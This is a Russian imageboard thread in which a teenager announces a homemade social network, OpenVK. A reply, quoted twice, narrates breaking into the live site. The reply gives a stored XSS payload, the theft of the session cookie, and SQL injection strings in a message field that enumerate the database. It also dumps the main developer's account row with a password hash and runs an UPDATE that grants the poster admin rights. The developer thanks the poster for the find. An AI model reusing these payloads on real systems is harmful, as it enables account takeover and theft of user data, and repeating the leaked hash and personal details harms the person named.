Ну короче. Начали мы разработку 8 месяцев назад. Типо учим пыху, все дела. И вот сейчас, уже полноценная соц.сеть (без музыки :с (скоро будет) ). С дизайном 2007, окда. Многое уже сделано: - Видео (с ютуба, конечно) - Группы - Страницы Юзеров и многое другое. А еще мы сделали регистрацию, вот, регистрируйтесь. Двачуйте =) а ну ссылка, точно https://openvk.gfx3336007.com =)
Красавцы, вернули мой 2007 в поооолном размере, спасибо. А теперь расслабьтесь и представьте, что читаете выпуска Ксакепа за декабрь 2007. Погнали.
Хей, браза!
Популярные нынче социальные сети набирают обороты. Об одной из них я тебе сегодня и поведаю, усаживайся поудобнее. Одной прекрасной и холодной новосибирской ночью я, потягивая горячий чай, пролистывал посты одного анонимного форума. Внезапно наткнулся на ссылку на некий ОупенВК. "Хм, интересно!", подумал я и незамедлительно пошел создавать учетку. Немного смутило "ГНУ ГПЛ, но без сорцов". Ну да ладно, чувакам виднее.
Немного посерфив местных Дуровых (с id1, etc), решил что стоит проверить, как местные пишут этот скрытый от общественности, но открытый по своей сути, как завещал дедушка Столлман гпл-код.
Стандартные ковычки в GET-атрибутах ничего не давали, кроме стандартных для этой соцсети страниц ошибок, но проверку на массив проходили не везде, показывая чистый лист, смутно намекая, что код открыто-закрыт не просто так. Сходу залить шелл картинкой myphoto.jpg.php не получилось, хотя аплоад шел, о чем говорила битая превьюшка фоток. Ну и бес с ними. Хтмл экранировался в постах и других местах на первый взгляд корректно, тут тоже голяк. А что с личными сообщениями?
Перейдя в раздел ЛС, успешно отправил сам себе сообщение, подменив select выбора друзей. Запахло интересными вещами.
Немного модифицировал форму для удобства пентестинга, я начал работу. Самым интересным оказалось поле topic, которое моментально выдало Array в сабже на запрос topic[]=lulz. Вот и лазейка, вывод поля "Тема" в списке сообщений не экранировался, что давало простор для хранимой XSS. Зарегав вторую учетку, я успешно отправил себе сообщение с интересным пейлоадом: <img onload="console.log(\"pnwd\");" src=https://openvk.gfx3336007.com/avatar.php?image=content/avatars/4548738785.jpg width=0 height=0/>, опять таки подменив uid, и, будучи не в своем списке друзей, я успешно получил сообщение на втором акке (как вы уже поняли, проверка на друга не выполняется, что укрепляло надежду на получение кук местного Дурова). console.log(document.cookie); спокойно выдал сессионную куку (ребята явно не слышали про HTTP Only cookies). Состряпав форму на отправку кук самому себе в ЛС, я получил неожиданный облом оттуда, откуда не ждал: поле topic имело совсем короткую длину, что не давало возможности встроить в onload зловредной картинки что-то полезное. Можно было бы состряпать сторонний сниффер, но было совсем лень заморачиваться с HTTPS сертификатом (подопытный работал по HTTPS).
Отложив XSS-хранимку (что уже отличный улов, который давал кучу лулзов, начиная с автоматического разлогинивания при получении сообщения, ибо логаут через ГЕТ, без ЦСРФ-токена, до отправки банальных многомегабайтный img-бомб с красивыми галактиками с сайта НАСА), я вернулся к изучению формы отправки сообщения.
И аллилуя, topic вида Goo',version(),113);/#--%00 прислал мне в сообщения что? Правильно, "10.1.29-MariaDB"! А 113 -- это мой uid в этой социальной сети. Фильтрации в поле topic нет, перед нами Скуль инжекшн в INSERT-запросе. Теперь началось интересное.
Получив имя базы данных, "gfxcom_main" (как читатель уже наверняка догадался, с помощью волшебной функции database()), я начал изучение information_schema. А что, очень удобно, отправляешь сам себе сообщения, с информацией о кишках социальной сети, разработчики понимают в юзабилити, респект им!
Пейлоад Goo',(SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'gfxcom_main' LIMIT 1),113);/#--%00 вывел `albums`, шикарно, теперь заюзаем GROUP_CONCAT: SELECT GROUP_CONCAT(`table_name` SEPARATOR ', ') FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'gfxcom_main' GROUP BY `TABLE_SCHEMA` в результате получаем список всех табличек соцсети: albums, blacklist, blog, bugtracker, club, clubsub, comments, dialogs, friends, gcomments, geousers, gpost, info_site, messages, news, note, nyash, pcomments, photo, siteinfo, subs, userblog, users, vcomments, video, wall
Вероятно нас больше всего будет интересовать таблица users, получим список колонок: SELECT GROUP_CONCAT(`COLUMN_NAME` SEPARATOR ', ') FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'gfxcom_main' AND table_name='users' GROUP BY `TABLE_NAME`;. И результат: id, name, surname, groupu, nickname, status, regdate, birthdate, lastonline, avatar, login, password, regip, gender, ban, comment_ban, aboutuser, verify, aboutuser2, cssstyle, closedwall
Хм, интересная колонка groupu. Но посмотрим все, чем богат местный Дуров: SELECT CONCAT_WS('|', id, name, surname, groupu, nickname, status, regdate, birthdate, lastonline, avatar, login, password, regip, gender, ban, comment_ban, aboutuser, verify, aboutuser2, cssstyle, closedwall) FROM `users` WHERE id=1 LIMIT 1
1|Владимир|Иванов|2|[veselcraft]|До нового года 9 дней!|2017-08-10 23:08:15|1087333200|1514064812|content/avatars/9903863635.jpg|veselcraft|72e2d13286511240a30dac8eec660d18||1|0||Главный разработчик OpenVK, живу неподалёку от Москвы. фыр)|5|Главный разработчик OpenVK, Московская обл|1|0
ОК, двоечка, поставим-ка себе: Goo','POPYATCHSYA',113);UPDATE `users` SET groupu=2 WHERE id=113;/*#--%00 Перелогинимся в новом браузере, вдруг у нас новый и проапгрейженный интерфейс. Так и есть, видим интересные ссылочки "Админ-панель", "Пользователи", "Сообщества", "Админ-панель Юзера". Интересного не очень много, если вы конечно не хотите школьного баловства.
Ну, за сим прощаюсь. Разработчикам прекрасной социальной сети желаю не быть пусичками, думать головой, прежде чем делать руками, учить матчасть. Ну и открывать сорцы, иначе качество социальной сети таким и останется. Чао, браза!
>>1111631 >Красавцы, вернули мой 2007 в поооолном размере, спасибо. >А теперь расслабьтесь и представьте, что читаете выпуска Ксакепа за декабрь 2007. Погнали. > > >Хей, браза! > >Популярные нынче социальные сети набирают обороты. Об одной из них я тебе сегодня и поведаю, усаживайся поудобнее. >Одной прекрасной и холодной новосибирской ночью я, потягивая горячий чай, пролистывал посты одного анонимного форума. Внезапно наткнулся на >ссылку на некий ОупенВК. "Хм, интересно!", подумал я и незамедлительно пошел создавать учетку. >Немного смутило "ГНУ ГПЛ, но без сорцов". Ну да ладно, чувакам виднее. > >Немного посерфив местных Дуровых (с id1, etc), решил что стоит проверить, как местные пишут этот скрытый от общественности, >но открытый по своей сути, как завещал дедушка Столлман гпл-код. > >Стандартные ковычки в GET-атрибутах ничего не давали, кроме стандартных для этой соцсети страниц ошибок, но проверку на массив проходили не >везде, показывая чистый лист, смутно намекая, что код открыто-закрыт не просто так. >Сходу залить шелл картинкой myphoto.jpg.php не получилось, хотя аплоад шел, о чем говорила битая превьюшка фоток. Ну и бес с ними. >Хтмл экранировался в постах и других местах на первый взгляд корректно, тут тоже голяк. >А что с личными сообщениями? > >Перейдя в раздел ЛС, успешно отправил сам себе сообщение, подменив select выбора друзей. Запахло интересными вещами. > >Немного модифицировал форму для удобства пентестинга, я начал работу. Самым интересным оказалось поле topic, которое моментально >выдало Array в сабже на запрос topic[]=lulz. Вот и лазейка, вывод поля "Тема" в списке сообщений не экранировался, что давало простор для >хранимой XSS. Зарегав вторую учетку, я успешно отправил себе сообщение с интересным пейлоадом: <img onload="console.log(\"pnwd\");" src=https://openvk.gfx3336007.com/avatar.php?image=content/avatars/4548738785.jpg width=0 height=0/>, опять таки подменив uid, и, будучи не в своем списке друзей, >я успешно получил сообщение на втором акке (как вы уже поняли, проверка на друга не выполняется, что укрепляло надежду на получение кук местного Дурова). >console.log(document.cookie); спокойно выдал сессионную куку (ребята явно не слышали про HTTP Only cookies). Состряпав форму на отправку кук самому себе в ЛС, я получил неожиданный облом оттуда, откуда не ждал: поле topic имело совсем короткую длину, что не давало возможности встроить в onload зловредной картинки что-то полезное. Можно было бы состряпать сторонний сниффер, но было совсем лень заморачиваться с HTTPS сертификатом (подопытный работал по HTTPS). > >Отложив XSS-хранимку (что уже отличный улов, который давал кучу лулзов, начиная с автоматического разлогинивания при получении сообщения, ибо логаут через ГЕТ, без ЦСРФ-токена, до отправки банальных многомегабайтный img-бомб с красивыми галактиками с сайта НАСА), я вернулся к изучению формы отправки сообщения. > >И аллилуя, topic вида Goo',version(),113);/#--%00 прислал мне в сообщения что? Правильно, "10.1.29-MariaDB"! А 113 -- это мой uid в этой социальной сети. >Фильтрации в поле topic нет, перед нами Скуль инжекшн в INSERT-запросе. Теперь началось интересное. > >Получив имя базы данных, "gfxcom_main" (как читатель уже наверняка догадался, с помощью волшебной функции database()), я начал изучение information_schema. А что, очень удобно, отправляешь сам себе сообщения, с информацией о кишках социальной сети, разработчики понимают в юзабилити, респект им! > >Пейлоад Goo',(SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'gfxcom_main' LIMIT 1),113);/#--%00 вывел `albums`, шикарно, >теперь заюзаем GROUP_CONCAT: SELECT GROUP_CONCAT(`table_name` SEPARATOR ', ') FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'gfxcom_main' GROUP BY `TABLE_SCHEMA` >в результате получаем список всех табличек соцсети: albums, blacklist, blog, bugtracker, club, clubsub, comments, dialogs, friends, gcomments, geousers, gpost, info_site, messages, news, note, nyash, pcomments, photo, siteinfo, subs, userblog, users, vcomments, video, wall > >Вероятно нас больше всего будет интересовать таблица users, получим список колонок: >SELECT GROUP_CONCAT(`COLUMN_NAME` SEPARATOR ', ') FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'gfxcom_main' AND table_name='users' GROUP BY `TABLE_NAME`;. И результат: id, name, surname, groupu, nickname, status, regdate, birthdate, lastonline, avatar, login, password, regip, gender, ban, comment_ban, aboutuser, verify, aboutuser2, cssstyle, closedwall > >Хм, интересная колонка groupu. Но посмотрим все, чем богат местный Дуров: SELECT CONCAT_WS('|', id, name, surname, groupu, nickname, status, regdate, birthdate, lastonline, avatar, login, password, regip, gender, ban, comment_ban, aboutuser, verify, aboutuser2, cssstyle, closedwall) FROM `users` WHERE id=1 LIMIT 1 > >1|Владимир|Иванов|2|[veselcraft]|До нового года 9 дней!|2017-08-10 23:08:15|1087333200|1514064812|content/avatars/9903863635.jpg|veselcraft|72e2d13286511240a30dac8eec660d18||1|0||Главный разработчик OpenVK, живу неподалёку от Москвы. фыр)|5|Главный разработчик OpenVK, Московская обл|1|0 > >ОК, двоечка, поставим-ка себе: Goo','POPYATCHSYA',113);UPDATE `users` SET groupu=2 WHERE id=113;/*#--%00 >Перелогинимся в новом браузере, вдруг у нас новый и проапгрейженный интерфейс. Так и есть, видим интересные ссылочки "Админ-панель", "Пользователи", "Сообщества", "Админ-панель Юзера". >Интересного не очень много, если вы конечно не хотите школьного баловства. > >Ну, за сим прощаюсь. Разработчикам прекрасной социальной сети желаю не быть пусичками, думать головой, прежде чем делать руками, учить матчасть. Ну и открывать сорцы, иначе качество социальной сети таким и останется. Чао, браза!
О, великий анон, дай свои данные или же напиши на ВБросе (vk.com/openvk.onion). Или же openvk.gfx3336007.com/id6 p.s спасибо за нахождения уязвимости =) == Дваchую.
это у него хоть контуктер есть, вот у меня в 90х когда 13 лет было, то кроме бейсика и zx spectrum ничего не было, а сейчас школота хуярит соцсети ебать пиздец
>>1112011 По моему так молодец, изучает программирование и хоть чем-то полезным занимается. Тем более работодатели любят людей, которые могут что-то реальное сделать и показать, а не рассуждать о преобразованиях монад с умным видом.
Многое уже сделано:
- Видео (с ютуба, конечно)
- Группы
- Страницы Юзеров
и многое другое.
А еще мы сделали регистрацию, вот, регистрируйтесь.
Двачуйте =)
а ну ссылка, точно https://openvk.gfx3336007.com
=)